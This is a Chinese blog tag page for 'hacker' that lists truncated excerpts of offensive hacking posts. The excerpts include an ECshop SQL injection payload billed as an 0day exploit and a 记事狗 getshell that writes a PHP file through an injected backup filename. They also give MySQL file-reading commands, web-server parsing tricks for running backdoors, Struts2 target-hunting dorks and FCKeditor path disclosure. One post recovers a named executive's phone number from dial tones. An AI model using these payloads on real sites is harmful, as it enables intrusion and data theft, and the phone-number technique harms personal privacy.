标签: 黑客

38 篇文章

如何在mysql下读取文件
一、mysql3.x下  不确定mysql3.x下能否使用load_file()函数(我在mysql3使用手册上没有查到,但貌似是可以的),用 load data infile 读取文件,命令如下: mysql>create table a (cmd text); mysql>load data infile 'c:\\boot.ini' into table a; mysql>…
ECshop支付方式0day及EXP
原漏洞分析:http://www.hackline.net/a/news/ldfb/web/2011/0105/7877.html respond.php?code=tenpay&attach=voucher&sp_billno=1 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7…
IIS、Nginx、Apache等Web平台解析漏洞总结
一、IIS 6.0 目录解析:/xx.asp/xx.jpg  xx.jpg  可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码 IIS6.0 会将 xx.jpg 解析为 asp 文件。 后缀解析:/xx.asp;.jpg     /xx.asp:.jpg(此处需抓包修改文件名) IIS6.0 都会把此类后缀文件成功解析为asp 文件。 参考:IIS 文件名解析漏洞扼要分析 {/x…
如何从按键音中听出360总裁周鸿祎的手机号码
昨天优酷首页关于360和百度的搜索战的报道中放出了这么一个视频: 从视频的第33秒到43秒,我们可以清晰地听到优酷 记者给周鸿祎拨号的整个过程,的确用人耳听会觉得每个音都差不多(下面会解释原因),但是将 它们转化成图形以后,就可以很清楚地看到它们的差别了。 我们先用ffmpeg将这段声音截出来,转成PCM Signed 24位的单声道wav文件,然后用Adobe Soundbooth打开它: 绿色…
TNTHK小组内部版webshell后门解析
下面简单的揭露下怎么获取webshell后门密码 1、在password登陆框 随便输入一错误密码,提示error,如图: 2、然后右键查看源文件,搜索[password],font 后面跟的就是shell的密码,测试一下 3、按照上面的方法,貌似通杀...
记事狗微博后台拿shell
简要描述: 记事狗微博系统,后台存在设计缺陷,可导致进入后台者获得shell 详细说明: 1、系统工具->数据备份->自定义备份->选择一张数据量较小的表->更多选项->选择压缩备份文件->多分卷压缩成一个文件 2、在备份文件名中输入 ');file_put_contents(base64_decode('YS5waHA='),base64_decode('PD…
struts2漏洞利用总结[转]
该漏洞主要组合一些关键字比较重要,没有NB的关键字,只有爱想的脑袋,比如: Inurl:index.action Inurl:商城.achtion (商城比较多) Inurl:index.achtion 标题:apache struts2 Inurl:action?id= 选定目标,开始利用吧 Struts2这个漏洞很多大站都存在,比如这个香港电视台的,不过这个执行命令卡 我就换个搞过的吧,那样方…
命令提示符下查看服务器远程登录端口
Windows Server服务器远程登录端口默认为3389,如果要查看确认当前使用的远程登陆端口,可以使用tasklist /svc和netstat /ano两条命令查出来。 打开--->开始--->运行,输入cmd回车进入命令行界面。 输入 tasklist /svc 回车,查看结果,找到服务为TermService行对应的进程PID号: 查到我本机当前远程服务使用的PID为193…
Fckeditor漏洞整理大全
1、查看编辑器版本 /fckeditor/editor/dialog/fck_about.html 2、爆绝对路径 FCKeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php (php通杀) FCKeditor/editor/filemanager/browser/default/bro…
ThinkPHP漏洞可执行任意系统命令
ThinkPHP是一款国内使用比较广泛的老牌PHP MVC框架,有不少创业公司或者项目都用了这个框架(目前我们公司所有项目都是TP的),ThinkPHP不正确过滤用户提交的参数,远程攻击者可以利用漏洞以应用程序上下文执行任意PHP代码。 通过SVN我们来分析一下官方的补丁: /trunk/ThinkPHP/Lib/Core/Dispatcher.class.php 125 - $res = pre…